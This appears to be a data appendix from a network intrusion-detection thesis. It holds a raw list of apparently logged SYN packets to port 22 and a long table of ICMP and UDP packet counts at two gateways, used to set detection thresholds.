10.0.0.2        12.61.77.24:S:1437345943:34:22 
10.0.0.2        12.38.67.87:S:421355579:30:22 
10.0.0.2        12.83.35.13:S:1796977546:4:22 
10.0.0.2        12.78.30.51:S:1294252424:55:22 
10.0.0.2        12.75.16.30:S:1717598841:83:22 
10.0.0.2        12.81.18.15:S:3565257155:54:22 
10.0.0.2        12.30.11.43:S:1206954898:76:22 
10.0.0.2        12.66.53.16:S:4091599948:27:22 
10.0.0.2        12.36.50.10:S:3010553529:1:22 
10.0.0.2        12.83.35.13:S:1796977546:4:22 
10.0.0.2        12.78.30.51:S:1294252424:55:22 
10.0.0.2        12.75.16.30:S:1717598841:83:22 
10.0.0.2        12.81.18.15:S:3565257155:54:22 
10.0.0.2        12.30.11.43:S:1206954898:76:22 
10.0.0.2        12.66.53.16:S:4091599948:27:22 
10.0.0.2        12.36.50.10:S:3010553529:1:22 
10.0.0.2        12.15.52.44:S:1154260667:36:22 
10.0.0.2        12.20.12.13:S:2780362732:15:22 
10.0.0.2        12.23.53.85:S:2464682901:66:22 
10.0.0.2        12.11.47.16:S:2531373392:12:22 
10.0.0.2        12.75.14.36:S:1427162954:60:22 
10.0.0.2        12.52.10.70:S:2968861854:86:22 
10.0.0.2        12.11.37.87:S:1566691062:8:22 
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10.0.0.2        12.72.37.11:S:2790360720:38:22 
10.0.0.2        12.32.67.75:S:728201758:3:22 
10.0.0.2        12.82.10.37:S:16928632:68:22 
10.0.0.2        12.50.25.54:S:922978842:75:22 
10.0.0.2        12.32.83.17:S:1911616443:68:22 
10.0.0.2        12.30.71.32:S:504304150:4:22 
10.0.0.2        12.81.84.14:S:1061534343:45:22 
10.0.0.2        12.85.71.64:S:3480121171:67:22 
10.0.0.2        12.65.52.64:S:246390712:45:22 
10.0.0.2        12.68.67.71:S:1140367810:20:22 
10.0.0.2        12.10.60.60:S:568062715:44:22 
10.0.0.2        12.11.17.16:S:3609312670:75:22 
10.0.0.2        12.47.28.16:S:22537831:10:22 
10.0.0.2        12.83.85.16:S:3331511387:8:22 
10.0.0.2        12.11.13.60:S:442333775:58:22 
10.0.0.2        12.26.33.16:S:3518556882:67:22 
10.0.0.2        12.67.74.36:S:359015997:68:22 
10.0.0.2        12.63.11.15:S:1950946881:35:22 
10.0.0.2        12.56.17.36:S:930625965:6:22 
10.0.0.2        12.25.81.32:S:3350126922:14:22 
10.0.0.2        12.53.18.62:S:1908354043:8:22 
10.0.0.2        12.30.44.55:S:3505273705:55:22 
10.0.0.2        12.33.11.10:S:1327585323:35:22 
10.0.0.2        12.61.13.31:S:695056776:55:22 
10.0.0.2        12.67.77.75:S:1970848024:67:22 
10.0.0.2        12.40.53.13:S:4019716938:25:22 
10.0.0.2        12.11.57.70:S:4087234912:67:22 
10.0.0.2        12.26.63.54:S:3692344054:88:22 
10.0.0.2        12.74.87.68:S:2337408419:75:22 
10.0.0.2        12.80.22.24:S:1645541364:44:22 
10.0.0.2        12.23.88.22:S:3517444768:88:22 
10.0.0.2        12.72.58.23:S:3834699593:78:22 
10.0.0.2        12.16.22.10:S:1286361250:16:22 
10.0.0.2        12.13.12.58:S:3361928743:24:22 
10.0.0.2        12.13.12.58:S:3361928743:24:22 
10.0.0.2        12.62.87.12:S:590766531:5:22 
10.0.0.2        12.14.20.17:S:372469352:83:22 
10.0.0.2        12.14.78.10:S:1385186900:18:22 
10.0.0.2        12.65.86.14:S:2516927778:71:22 
10.0.0.2        12.84.28.16:S:2472953337:73:22 
10.0.0.2        12.11.15.27:S:2856856398:31:22 
10.0.0.2        12.63.18.43:S:3473025359:62:22 
10.0.0.2        12.43.28.67:S:3595233774:38:22 
10.0.0.2        12.16.83.17:S:2984746946:70:22 
10.0.0.2        12.18.17.76:S:2484930338:22:22 
10.0.0.2        12.27.56.24:S:2554705623:45:22 
10.0.0.2        12.22.51.17:S:3272636647:86:22 
10.0.0.2        12.18.67.68:S:2373914861:20:22 
10.0.0.2        12.55.17.16:S:2584041382:31:22 
10.0.0.2        12.46.40.52:S:1183247659:7:22 
10.0.0.2        12.15.15.66:S:1458783775:8:22 
10.0.0.2        12.37.13.24:S:514461437:77:22 
10.0.0.2        12.84.16.67:S:3350568696:66:22 
10.0.0.2        12.65.50.72:S:3107584582:13:22 
10.0.0.2        12.35.55.20:S:2075152997:14:22 
10.0.0.2        12.34.83.81:S:501389907:27:22 
10.0.0.2        12.50.18.88:S:3913988695:70:22 
10.0.0.2        12.10.67.12:S:4215307105:54:22 
10.0.0.2        12.12.30.26:S:1188148455:5:22 
10.0.0.2        12.84.80.17:S:1582402784:72:22 
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10.0.0.2        12.34.13.28:S:1845309763:3:22 
10.0.0.2        12.48.33.18:S:3581509508:71:22 
10.0.0.2        12.28.64.42:S:300071496:63:22 
10.0.0.2        12.18.57.61:S:3292159403:24:22 
10.0.0.2        12.77.86.56:S:957788046:61:22 
10.0.0.2        12.11.60.72:S:3815506906:61:22 
10.0.0.2        12.11.63.24:S:414359749:45:22 
10.0.0.2        12.35.68.75:S:1766998987:33:22 
10.0.0.2        12.86.24.61:S:1244393547:86:22 
10.0.0.2        12.14.47.80:S:93226884:4:22 
10.0.0.2        12.17.13.56:S:4261905683:13:22 
10.0.0.2        12.75.75.67:S:257651899:8:22 
10.0.0.2        12.12.18.31:S:1419971613:55:22 
10.0.0.2        12.80.36.65:S:651540009:41:22 
10.0.0.2        12.12.37.18:S:1221043080:43:22 
10.0.0.2        12.45.55.70:S:3986216997:58:22 
10.0.0.2        12.46.83.20:S:2422161854:13:22 
10.0.0.2        12.20.28.43:S:3913274909:37:22 
10.0.0.2        12.41.26.57:S:2886646452:51:22 
10.0.0.2        12.64.88.60:S:4072781020:76:22 
10.0.0.2        12.16.17.65:S:399818435:50:22 
10.0.0.2        12.14.21.83:S:2974864375:66:22 
10.0.0.2        12.25.56.47:S:2433056084:20:22 
10.0.0.2        12.22.12.76:S:1672439106:81:22 
10.0.0.2        12.10.21.43:S:302080385:75:22 
10.0.0.2        12.87.42.22:S:4284525395:73:22 
10.0.0.2        12.77.72.62:S:2538273037:8:22 
10.0.0.2        12.11.12.11:S:967961391:28:22 
10.0.0.2        12.84.60.42:S:2163345035:5:22 
10.0.0.2        12.24.14.82:S:4061963181:52:22 
10.0.0.2        12.20.57.82:S:3580862322:18:22 
10.0.0.2        12.65.64.62:S:1440867476:22:22 
10.0.0.2        12.67.88.85:S:1328496602:3:22 
10.0.0.2        12.17.36.88:S:1047525413:10:22 
10.0.0.2        12.27.83.28:S:3871125321:67:22 
10.0.0.2        12.87.47.38:S:3994105069:38:22 
10.0.0.2        12.25.60.38:S:4113195675:15:22 
10.0.0.2        12.18.46.61:S:451701193:47:22 
10.0.0.2        12.53.11.50:S:607661436:82:22 
10.0.0.2        12.20.41.40:S:808983208:82:22 
10.0.0.2        12.13.10.84:S:2360761335:65:22 
10.0.0.2        12.88.71.27:S:2949244583:32:22 
10.0.0.2        12.64.14.12:S:2000021941:88:22 
10.0.0.2        12.85.37.67:S:284268921:84:22 
10.0.0.2        12.44.25.23:S:2529189640:6:22 
10.0.0.2        12.45.30.52:S:51165218:8:22 
10.0.0.2        12.81.65.40:S:2440432884:50:22 
10.0.0.2        12.72.52.20:S:2402276723:66:22 
10.0.0.2        12.27.10.56:S:1934240709:85:22 
10.0.0.2        12.67.14.88:S:2425990213:41:22 
10.0.0.2        12.12.34.17:S:3788889829:85:22 
10.0.0.2        12.32.53.27:S:27731015:13:22 
10.0.0.2        12.56.13.36:S:4035803602:47:22 
10.0.0.2        12.40.34.57:S:105832554:40:22 
10.0.0.2        12.73.15.85:S:3249929838:72:22 
10.0.0.2        12.81.71.66:S:1284814756:46:22 
10.0.0.2        12.16.26.36:S:2428054449:33:22 
10.0.0.2        12.35.41.74:S:3751734490:26:22 
10.0.0.2        12.74.31.63:S:885292009:68:22 
10.0.0.2        12.87.74.85:S:3665273303:26:22 
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Appendix 5-2 
UDP, TCP and ICMP packet thresholds are based on results of the following values, which 
are results of experiments.  Selecting the threshold values is based on the number of highest 
average repetitive genuine packets flowing in the network on different locations (refer to 
Chapter 5). Due to the length of the table, small part of it is shown in Appendix 5-2 and the 
entire table is available in the provided CD.  
 
Protocols‎ Gateways/Location Number‎ of‎ packets‎ per‎ 5‎
seconds‎at‎peak‎time 
Number‎ of‎ packets‎ per‎ 5‎ seconds‎
at‎off‎peak‎time.‎ 
ICMP BSD‎gateway/location‎one‎ 90‎packets 60‎packets 
  110‎packets 100‎packets 
  250‎packets 200‎packets 
  310‎packets 220‎packets 
  400‎packets 310‎packets 
  490‎packets 320‎packets 
  520‎packets 350‎packets 
  590‎packets 360‎packets 
  600‎packets 360‎packets 
  410‎packets 365‎packets 
  510‎packets 365‎packets 
  315‎packets 360‎packets 
  237‎packets 207‎packets 
  599‎packets 509‎packets 
  529‎packets 520‎packets 
  474‎packets 470‎packets 
  519‎packets 509‎packets 
  104‎packets 100‎packets 
  428‎packets 420‎packets 
  600‎packets 500‎packets 
  366‎packets 326‎packets 
  356‎packets 326‎packets 
  359‎packets 329‎packets 
  360‎packets 320‎packets 
  442‎packets 422‎packets 
  600‎packets 560‎packets 
  350‎packets 320‎packets 
  194‎packets 124‎packets 
  399‎packets 329‎packets 
  390‎packets 320‎packets 
  215‎packets 205‎packets 
  243‎packets 223‎packets 
  368‎packets 328‎packets 
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  515‎packets 525‎packets 
  529‎packets 529‎packets 
  543‎packets 513‎packets 
  282‎packets 212‎packets 
  314‎packets 311‎packets 
  485‎packets 481‎packets 
  443‎packets 413‎packets 
  555‎packets‎ 515‎packets‎ 
  302‎packets 101‎packets 
  414‎packets 114‎packets 
  203‎packets 200‎packets 
  229‎packets 129‎packets 
  449‎packets 441‎packets 
  106‎packets 101‎packets 
  419‎packets 219‎packets 
  468‎packets 268‎packets 
  353‎packets 153‎packets 
ICMP Debian‎gateway/location‎two‎ 95‎packets 60‎packets 
  112‎packets 98‎packets 
  200‎packets 100‎packets 
  220‎packets 110‎packets 
  230‎packets 115‎packets 
  240‎packets 115‎packets 
  241‎packets 115‎packets 
  241‎packets 115‎packets 
  290‎packets 199‎packets 
  300‎packets 220‎packets 
  300‎packets 280‎packets 
  320‎packets 290‎packets 
  566‎packets 536‎packets 
  167‎packets 137‎packets 
  105‎packets 103‎packets 




  490‎packets 430‎packets 
  348‎packets 328‎packets 
  482‎packets 422‎packets 
  340‎packets 320‎packets 
  221‎packets 211‎packets 
  400‎packets 220‎packets 
  600‎packets 500‎packets 
  158‎packets 258‎packets 
  383‎packets 283‎packets 
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  343‎packets 243‎packets 
  357‎packets 327‎packets 
  116‎packets 126‎packets 
  452‎packets 422‎packets 
  318‎packets 218‎packets 
  481‎packets 281‎packets 
  397‎packets 327‎packets 
  241‎packets 221‎packets 
  426‎packets 416‎packets 
  456‎packets 416‎packets 
  485‎packets 415‎packets 
  600‎packets 550‎packets 
  282‎packets 222‎packets 
  434‎packets 424‎packets 
  202‎packets 201‎packets 
  177‎packets 171‎packets 
  402‎packets 401‎packets 
  477‎packets 471‎packets 
  507‎packets 501‎packets 
  466‎packets 461‎packets 
  431‎packets 421‎packets 
  171‎packets 121‎packets 
  381‎packets 282‎packets 
  543‎packets 523‎packets 
  475‎packets 425‎packets 
  441‎packets 421‎packets 
  335 packets 325 packets 
  546‎packets 526‎packets 
  448‎packets 428‎packets 
  446‎packets 426‎packets 
  214‎packets 204‎packets 
  399‎packets 339‎packets 
  270‎packets 230‎packets 
  331‎packets 321‎packets 
  230‎packets 220‎packets 
  343‎packets 323‎packets 
  596 packets 526 packets 
  462‎packets 422‎packets 
  540‎packets 510‎packets 
  500‎packets 220‎packets 
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  120‎packets 100‎packets 
  200‎packets 160‎packets 
  250‎packets 200‎packets 
  310‎packets 220‎packets 
  400‎packets 300‎packets 
  440‎packets 320‎packets 
  510‎packets 390‎packets 
  570‎packets 400‎packets 
  520‎packets 400‎packets 
  513‎packets 400‎packets 
  560‎packets 430‎packets 
  208‎packets 308‎packets 
  392‎packets 222‎packets 
  473‎packets 423‎packets 
  341‎packets 321‎packets 
  548‎packets 528‎packets 
  418‎packets 412‎packets 
  536‎packets 532‎packets 
  477‎packets 472‎packets 
  430‎packets 420‎packets 
  600‎packets 428‎packets 
  315‎packets 312‎packets 
  540‎packets 510‎packets 
  270‎packets 210‎packets 
  178‎packets 118‎packets 
  525‎packets 515‎packets 
  362 packets 312 packets 
  483‎packets 413‎packets 
  315‎packets 315‎packets 
  540‎packets 510‎packets 
  270‎packets 210‎packets 
  178‎packets 118‎packets 
  525‎packets 515‎packets 
  362‎packets 312‎packets 
  483‎packets 413‎packets 
  455‎packets 415‎packets 
  202‎packets 102‎packets 
  459‎packets 159‎packets 
  466‎packets 466‎packets 
  189‎packets 119‎packets 
  421‎packets 411‎packets 
  345‎packets 315‎packets 
  528‎packets 518‎packets 
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  432‎packets 412‎packets 
  384‎packets 314‎packets 
  451‎packets 411‎packets 
  247‎packets 217‎packets 
  523‎packets 513‎packets 
  437‎packets 417‎packets 
  473‎packets 413‎packets 
  585‎packets 515‎packets 
  486‎packets 416‎packets 
  600‎packets 213‎packets 
  318‎packets 311‎packets 
  445‎packets 415‎packets 
  540‎packets 510‎packets 
  164‎packets 114‎packets 
  272‎packets 212‎packets 
  281‎packets 211‎packets 
  452‎packets 412‎packets 
  535‎packets 515‎packets 
  336‎packets 316‎packets 
  405‎packets 411‎packets 
  202‎packets 201‎packets 
  438‎packets 431‎packets 
  231‎packets 211‎packets 
ICMP BSD‎gateway/location‎one‎ 100‎packets 70‎packets 
  130‎packets 99‎packets 
  290‎packets 210‎packets 
  390‎packets 210‎packets 
  490‎packets 311‎packets 
  499‎packets 321‎packets 
  529‎packets 351‎packets 
  599‎packets 361‎packets 
  600‎packets 361‎packets 
  490‎packets 361‎packets 
  590‎packets 315‎packets 
  395‎packets 310‎packets 
  297‎packets 217‎packets 
  579‎packets 519‎packets 
  599‎packets 510‎packets 
  494‎packets 410‎packets 
  569‎packets 519‎packets 
  194‎packets 110‎packets 
  498‎packets 410‎packets 
  400‎packets 510‎packets 
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  356‎packets 316‎packets 
  376‎packets 316‎packets 
  379‎packets 319‎packets 
  370‎packets 310‎packets 
  472‎packets 412‎packets 
  380‎packets 160‎packets 
  380‎packets 120‎packets 
  184‎packets 126‎packets 
  389‎packets 326‎packets 
  380‎packets 326‎packets 
  600‎packets 206‎packets 
  283‎packets 226‎packets 
  388‎packets 326‎packets 
  585‎packets 526‎packets 
  589‎packets 526‎packets 
  583‎packets 516‎packets 
  282‎packets 216‎packets 
  318‎packets 316‎packets 
  488‎packets 486‎packets 
  445‎packets 416‎packets 
  559‎packets‎ 516‎packets‎ 
  309‎packets 106‎packets 
  419‎packets 116‎packets 
  209‎packets 206‎packets 
  299‎packets 126‎packets 
  499‎packets 446‎packets 
  196‎packets 105‎packets 
  499‎packets 215‎packets 
  469‎packets 265‎packets 
  359‎packets 155‎packets 
ICMP Debian‎gateway/location‎two‎ 195‎packets 70‎packets 
  172‎packets 118‎packets 
  270‎packets 110‎packets 
  270‎packets 111‎packets 
  260‎packets 111‎packets 
  270‎packets 115‎packets 
  341‎packets 115‎packets 
  341‎packets 115‎packets 
  390‎packets 129‎packets 
  400‎packets 220‎packets 
  500‎packets 230‎packets 
  320‎packets 230‎packets 
  546‎packets 536‎packets 
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  447‎packets 137‎packets 
  405‎packets 133‎packets 
  456‎packets 130‎packets 
  496‎packets 433‎packets 
  349‎packets 323‎packets 
  492‎packets 423‎packets 
  390‎packets 323‎packets 
  600‎packets 213‎packets 
  490‎packets 223‎packets 
  550‎packets 503‎packets 
  458‎packets 253‎packets 
  483‎packets 233‎packets 
  443‎packets 243‎packets 
  457‎packets 333‎packets 
  416‎packets 133‎packets 
  442‎packets 421‎packets 
  348‎packets 211‎packets 
  441‎packets 211‎packets 
  347‎packets 311‎packets 
  441‎packets 222‎packets 
  426‎packets 422‎packets 
  556‎packets 412‎packets 
  585‎packets 412‎packets 
  506‎packets 552‎packets 
  582‎packets 222‎packets 
  534‎packets 422‎packets 
  502‎packets 222‎packets 
  577‎packets 122‎packets 
  600‎packets 411‎packets 
  577‎packets 444‎packets 
  555‎packets 504‎packets 
  566‎packets 464‎packets 
  531‎packets 424‎packets 
  571‎packets 124‎packets 
  581‎packets 284‎packets 
  543‎packets 524‎packets 
  455‎packets 424‎packets 
  541‎packets 424‎packets 
  535 packets 324 packets 
  556‎packets 524‎packets 
  458‎packets 448‎packets 
  456‎packets 446‎packets 
  254‎packets 244‎packets 
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  359‎packets 349‎packets 
  250‎packets 240‎packets 
  351‎packets 341‎packets 
  250‎packets 240‎packets 
  353‎packets 343‎packets 
  556 packets 546 packets 
  452‎packets 422‎packets 
  550‎packets 514‎packets 
  550‎packets 224‎packets 




  220‎packets 300‎packets 
  300‎packets 360‎packets 
  450‎packets 300‎packets 
  410‎packets 230‎packets 
  500‎packets 500‎packets 
  540‎packets 330‎packets 
  550‎packets 320‎packets 
  550‎packets 420‎packets 
  580‎packets 420‎packets 
  583‎packets 410‎packets 
  580‎packets 430‎packets 
  288‎packets 348‎packets 
  388‎packets 242‎packets 
  483‎packets 443‎packets 
  388‎packets 341‎packets 
  588‎packets 548‎packets 
  477‎packets 442‎packets 
  577‎packets 542‎packets 
  455‎packets 442‎packets 
  466‎packets 440‎packets 
  444‎packets 448‎packets 
  315‎packets 342‎packets 
  545‎packets 540‎packets 
  275‎packets 215‎packets 
  600‎‎packets 115‎packets 
  555‎packets 513‎packets 
  352 packets 315 packets 
  485‎packets 415‎packets 
  395‎packets 311‎packets 
  590‎packets 517‎packets 
  290‎packets 217‎packets 
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  198‎packets 117‎packets 
  595‎packets 517‎packets 
  392‎packets 317‎packets 
  493‎packets 417‎packets 
  495‎packets 417‎packets 
  292‎packets 107‎packets 
  499‎packets 157‎packets 
  496‎packets 465‎packets 
  199‎packets 115‎packets 
  491‎packets 415‎packets 
  395‎packets 313‎packets 
  598‎packets 516‎packets 
  492‎packets 416‎packets 
  394‎packets 315‎packets 
  491‎packets 415‎packets 
  297‎packets 215‎packets 
  593‎packets 515‎packets 
  497‎packets 415‎packets 
  493‎packets 415‎packets 
  595‎packets 515‎packets 
  489‎packets 456‎packets 
  400‎packets 253‎packets 
  600‎packets 351‎packets 
  545‎packets 455‎packets 
  540‎packets 550‎packets 
  564‎packets 154‎packets 
  572‎packets 252‎packets 
  581‎packets 251‎packets 
  552‎packets 452‎packets 
  555‎packets 555‎packets 
  356‎packets 516‎packets 
  455‎packets 451‎packets 
  502‎packets 251‎packets 
  538‎packets 461‎packets 
  531‎packets 261‎packets 
  510‎packets 260‎packets 
  500‎packets 360‎packets 
  540‎packets 326‎packets 
  510‎packets 396‎packets 
  600packets 406‎packets 
  550‎packets 406‎packets 
  543‎packets 406‎packets 
  540‎packets 436‎packets 
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ICMP BSD‎gateway/location‎one‎ 99‎packets 67‎packets 
  409‎packets 309‎packets 
  301‎packets 301‎packets 
  143‎packets 141‎packets 
  423‎packets 421‎packets 
  115‎packets 111‎packets 
  212‎packets 211‎packets 
  405‎packets 401‎packets 
  286‎packets 281‎packets 
  477‎packets 471‎packets 
  227‎packets 221‎packets 
  435‎packets 431‎packets 
  438‎packets 428‎packets 
  310‎packets 220‎packets 
  344‎packets 324‎packets 
  277‎packets 217‎packets 
  103‎packets 101‎packets 
  486‎packets 416‎packets 
  442‎packets 412‎packets 
  381‎packets 311‎packets 
  177‎packets 117‎packets 
  457‎packets 417‎packets 
  405‎packets 105‎packets 
  372‎packets 172‎packets 




  360‎packets 310‎packets 
  210‎packets 110‎packets 
  246‎packets 146‎packets 
  370‎packets 170‎packets 
  107‎packets 101‎packets 
  432‎packets 412‎packets 
  330‎packets 310‎packets 
  222‎packets 212‎packets 
  216‎packets 116‎packets 
  379‎packets 319‎packets 
  456‎packets 416‎packets 
  383‎packets 313‎packets 
  205‎packets 105‎packets 
  242‎packets 142‎packets 
  522‎packets 122‎packets 
  152‎packets 112‎packets 
  380‎packets 310‎packets 
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  196‎packets 116‎packets 
  420‎packets 120‎packets 
  259‎packets 159‎packets 
  438‎packets 138‎packets 
  190‎packets 110‎packets 
  273‎packets 213‎packets 
  222‎packets 212‎packets 
  308‎packets 108‎packets 
  189‎packets 119‎packets 
  324‎packets 314‎packets 
  276‎packets 216‎packets 
  373‎packets 313‎packets 
  477‎packets 417‎packets 
  501‎packets 101‎packets 
  371‎packets 171‎packets 
  405‎packets 105‎packets 
  366‎packets 166‎packets 
  496‎packets 196‎packets 
  357‎packets 317‎packets 
  440‎packets 410‎packets 
  201‎packets 101‎packets 
  140‎packets 110‎packets 
  444‎packets 414‎packets 
ICMP Debian‎gateway/location‎two‎ 400‎packets 300‎packets 
  122‎packets 112‎packets 
  313‎packets 113‎packets 
  233‎packets 213‎packets 
  490‎packets 410‎packets 
  255‎packets 215‎packets 
  330‎packets 310‎packets 
  433‎packets 413‎packets 
  154‎packets 114‎packets 
  196‎packets 116‎packets 
  414‎packets 411‎packets 
  244‎packets 214‎packets 
  539‎packets 519‎packets 
  543‎packets 513‎packets 
  481‎packets 411‎packets 
  432‎packets 412‎packets 
  116‎packets 111‎packets 
  283‎packets 203‎packets 
  478‎packets 418‎packets 
  279‎packets 219‎packets 
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  119‎packets 111‎packets 
  503‎packets 103‎packets 
  540‎packets 140‎packets 
  330‎packets 130‎packets 
  517‎packets 217‎packets 
  465‎packets 265‎packets 
  373‎packets 273‎packets 
  314‎packets 214‎packets 
  550‎packets 250‎packets 
  442‎packets 422‎packets 
  285‎packets 225‎packets 
  469‎packets 429‎packets 
  540‎packets 520‎packets 
  279‎packets 229‎packets 
  381‎packets 321‎packets 
  376‎packets 326‎packets 
  286‎packets 286‎packets 
  342‎packets 322‎packets 
  273‎packets 223‎packets 
  291‎packets 221‎packets 
  144‎packets 124‎packets 
  344‎packets 324‎packets 




  524‎packets 224‎packets 
  151‎packets 121‎packets 
  440‎packets 420‎packets 
  392‎packets 322‎packets 
  530‎packets 510‎packets 
  466‎packets 416‎packets 
  149‎packets 119‎packets 
  326‎packets 316‎packets 
  350‎packets 310‎packets 
  491‎packets 411‎packets 
  263‎packets 213‎packets 
  409‎packets 109‎packets 
  460‎packets 260‎packets 
  260‎packets 260‎packets 
  546‎packets 526‎packets 
  157‎packets 127‎packets 
  511‎packets 211‎packets 
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  292‎packets 192‎packets 
  311‎packets 111‎packets 
  237‎packets 217‎packets 
  207‎packets 107‎packets 
  422‎packets 412‎packets 
  405‎packets 105‎packets 
  335‎packets 315‎packets 
  446‎packets 416‎packets 
  251‎packets 211‎packets 
  457‎packets 417‎packets 
  338‎packets 318‎packets 
  335‎packets 315‎packets 
  358‎packets 328‎packets 
  532‎packets 522‎packets 
  371‎packets 321‎packets 
  334‎packets 324‎packets 
  483‎packets 423‎packets 
  320‎packets 110‎packets 
  300‎packets 100‎packets 
  433‎packets 413‎packets 
  322‎packets 312‎packets 
  497‎packets 417‎packets 
  535‎packets 515‎packets 
  195‎packets 115‎packets 
  520‎packets 510‎packets 
  151‎packets 111‎packets 
  167‎packets 117‎packets 
  312‎packets 112‎packets 
  335‎packets 135‎packets 
  469‎packets 169‎packets 
  404‎packets 104‎packets 
  322‎packets 122‎packets 
  382‎packets 182‎packets 
  263‎packets 163‎packets 
  415‎packets 115‎packets 
  355‎packets 155‎packets 
  196‎packets 116‎packets 
  539‎packets 529‎packets 
  494‎packets 424‎packets 
  283‎packets 223‎packets 
  536‎packets 526‎packets 
  374‎packets 3724‎packets 
  505‎packets 502‎packets 
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  374‎packets 324‎packets 
  166‎packets 126‎packets 
  543‎packets 523‎packets 
  132‎packets 122‎packets 
  333‎packets 323‎packets 
  377‎packets 327‎packets 
  233‎packets 223‎packets 
  272‎packets 222‎packets 
  301‎packets 201‎packets 
  548‎packets 248‎packets 
  195‎packets 125‎packets 
  525‎packets 525‎packets 
  136‎packets 126‎packets 
  543‎packets 523‎packets 
  157‎packets 127‎packets 
  283‎packets 223‎packets 
  184‎packets 124‎packets 
  458‎packets 428‎packets 
  229‎packets 222‎packets 
UDP BSD‎gateway/location‎one‎ 999‎packets 80‎packets 
  1200‎packets 850‎packets 
  2000‎packets 1000‎packets 
  2500‎packets 2500‎packets 
  3600‎packets 3000‎packets 
  3610‎packets 3100‎packets 
  4000‎packets 3100‎packets 
  2300‎packets 2200‎packets 
  2100‎packets 2300‎packets 
  2142‎packets 2453‎packets 
  3000‎packets 2198‎packets 
  3300‎packets 3000‎packets 
  3900‎packets 4000‎packets 
  2020‎packets 1200‎packets 
  3404‎packets 2040‎packets 
  4000‎packets 3202‎packets 
  2303‎packets 777‎packets 
  3888‎packets 2999‎packets 
  1776‎packets 888‎packets 
  999‎packets 599‎packets 
  1564‎packets 1000‎packets 
  1909‎packets 609‎packets 
  3999‎packets 2000‎packets‎ 
  3121‎packets 2888‎packets 
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  1788‎packets 2777‎packets 
  3070‎packets 2888‎packets 
  2988‎packets 2999‎packets 
  4000‎packets‎ 3000‎packets‎ 
  2497‎packets 1497‎packets 
  1535‎packets 1135‎packets 
  3195‎packets 3115‎packets 
  1520‎packets 1120‎packets 
  2151‎packets 2111‎packets 
  2167‎packets 2117‎packets 
  3312‎packets 3112‎packets 
  3335‎packets 3135‎packets 
  3469‎packets 3169‎packets 
  2404‎packets 2104‎packets 
  1322‎packets 1122‎packets 
  2382‎packets 2282‎packets 
  1263‎packets 1223‎packets 
  1415‎packets 1215‎packets 
  1355‎packets 1255‎packets 
  2196‎packets 2126‎packets 
  2539‎packets 2529‎packets 
  1494‎packets 1424‎packets 
  3283‎packets 3223‎packets 
  3536‎packets 3236‎packets 
  3374‎packets 3274‎packets 
  3505‎packets 3205‎packets 
  2374‎packets 2274‎packets 
  1166‎packets 1126‎packets 
  1543‎packets 1243‎packets 
  3132‎packets 2132‎packets 
  1333‎packets 1233‎packets 
  2377‎packets 2377‎packets 
  1233‎packets 1133‎packets 
  3272‎packets 3172‎packets 
  2301‎packets 2101‎packets 
  1548‎packets 1148‎packets 
  3195‎packets 3115‎packets 
  2525‎packets 2125‎packets 
  2136‎packets 2116‎packets 
  1543‎packets 1143‎packets 
  3157‎packets 1157‎packets 
  2283‎packets 2183‎packets 
  1184‎packets 584‎packets 
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UDP Debian‎gateway/location‎two‎ 2400‎packets 1300‎packets 
  2122‎packets 1112‎packets 
  2313‎packets 1113‎packets 
  3888‎packets 2113‎packets 
  3490‎packets 1410‎packets 
  3255‎packets 1215‎packets 
  3330‎packets 1310‎packets 
  3433‎packets 1413‎packets 
  3154‎packets 1114‎packets 
  2196‎packets 816‎packets 
  2414‎packets 911‎packets 
  2244‎packets 1214‎packets 
  2539‎packets 1519‎packets 
  1543‎packets 1513‎packets 
  1481‎packets 411‎packets 
  1432‎packets 412‎packets 
  1116‎packets 911‎packets 
  2183‎packets 1203‎packets 
  1478‎packets 918‎packets 
  1279‎packets 619‎packets 
  2119‎packets 1111‎packets 
  2503‎packets 1103‎packets 
  2540‎packets 1140‎packets 
  2330‎packets 1130‎packets 
  2517‎packets 1217‎packets 
  2465‎packets 1265‎packets 
  2373‎packets 1273‎packets 
  2314‎packets 2114‎packets 
  2550‎packets 2150‎packets 
  2442‎packets 1422‎packets 
  3285‎packets 925‎packets 
  2469‎packets 1429‎packets 
  3540‎packets 1520‎packets 
  3279‎packets 1229‎packets 
  3381‎packets 2321‎packets 
  1376‎packets 1326‎packets 
  1286‎packets 1286‎packets 
  1342‎packets 2322‎packets 
  2373‎packets 3223‎packets 
  3291‎packets 2221‎packets 
  3144‎packets 2124‎packets 
  3344‎packets 2324‎packets 
  3342‎packets 2322‎packets 
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  2524‎packets 1224‎packets 
  2151‎packets 1121‎packets 
  2440‎packets 1420‎packets 
  3392‎packets 1322‎packets 
  3530‎packets 1510‎packets 
  3466‎packets 1416‎packets 
  3149‎packets 1119‎packets 
  3326‎packets 1316‎packets 
  2272‎packets 1272‎packets 
  2301‎packets 1301‎packets 
  3548‎packets 3148‎packets 
  1195‎packets 1095‎packets 
  1525‎packets 1125‎packets 
  1136‎packets 1036‎packets 
  1543‎packets 1043‎packets 
  3557‎packets 3157‎packets 




  3122‎packets 1212‎packets 
  3313‎packets 1213‎packets 
  3233‎packets 2213‎packets 
  3490‎packets 1410‎packets 
  2255‎packets 1215‎packets 
  2330‎packets 1310‎packets 
  2433‎packets 1413‎packets 
  2154‎packets 1114‎packets 
  2196‎packets 1116‎packets 
  2414‎packets 3411‎packets 
  2244‎packets 2114‎packets 
  3539‎packets 1519‎packets 
  3543‎packets 2513‎packets 
  2481‎packets 2411‎packets 
  2432‎packets 2412‎packets 
  1216‎packets 2111‎packets 
  2283‎packets 2203‎packets 
  2478‎packets 3418‎packets 
  2279‎packets 1219‎packets 
  1219‎packets 2111‎packets 
  2503‎packets 2103‎packets 
  2540‎packets 1140‎packets 
  2330‎packets 2130‎packets 
  3517‎packets 1217‎packets 
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  3465‎packets 1265‎packets 
  3373‎packets 1273‎packets 
  3314‎packets 1214‎packets 
  3550‎packets 1250‎packets 
  3442‎packets 2422‎packets 
  3285‎packets 3225‎packets 
  3469‎packets 2429‎packets 
  3540‎packets 2520‎packets 
  3279‎packets 1229‎packets 
  3381‎packets 1321‎packets 
  3376‎packets 1326‎packets 
  3286‎packets 2286‎packets 
  3342‎packets 3222‎packets 
  3273‎packets 2223‎packets 
  3291‎packets 2221‎packets 
  3144‎packets 2124‎packets 
  3344‎packets 2324‎packets 
  3342‎packets 2322‎packets 
  2497‎packets 2417‎packets 
  2535‎packets 2515‎packets 
  2195‎packets 2115‎packets 
  2520‎packets 2510‎packets 
  2151‎packets 2111‎packets 
  3167‎packets 2117‎packets 
  3312‎packets 2112‎packets 
  3335‎packets 2135‎packets 
  3469‎packets 2169‎packets 
  3404‎packets 1204‎packets 
